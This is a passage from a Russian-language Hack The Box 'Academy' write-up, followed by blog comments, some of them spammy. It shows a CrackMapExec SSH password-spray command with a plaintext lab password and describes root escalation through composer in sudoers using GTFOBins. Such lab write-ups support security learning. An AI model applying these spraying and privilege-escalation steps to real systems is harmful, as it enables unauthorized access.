Аргументом команды su является пароль.

Снова спрэим и получаем второго пользователя.

cme ssh academy.htb -u users.txt -p 'mrb3n_Ac@d3my!'

ROOT

В настройках судоера видим использование composer с повышенными привилегиями.

Тут на помощью приходит техника GTFOBins. Там и находим LPE с помощью composer.

У нас root!

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru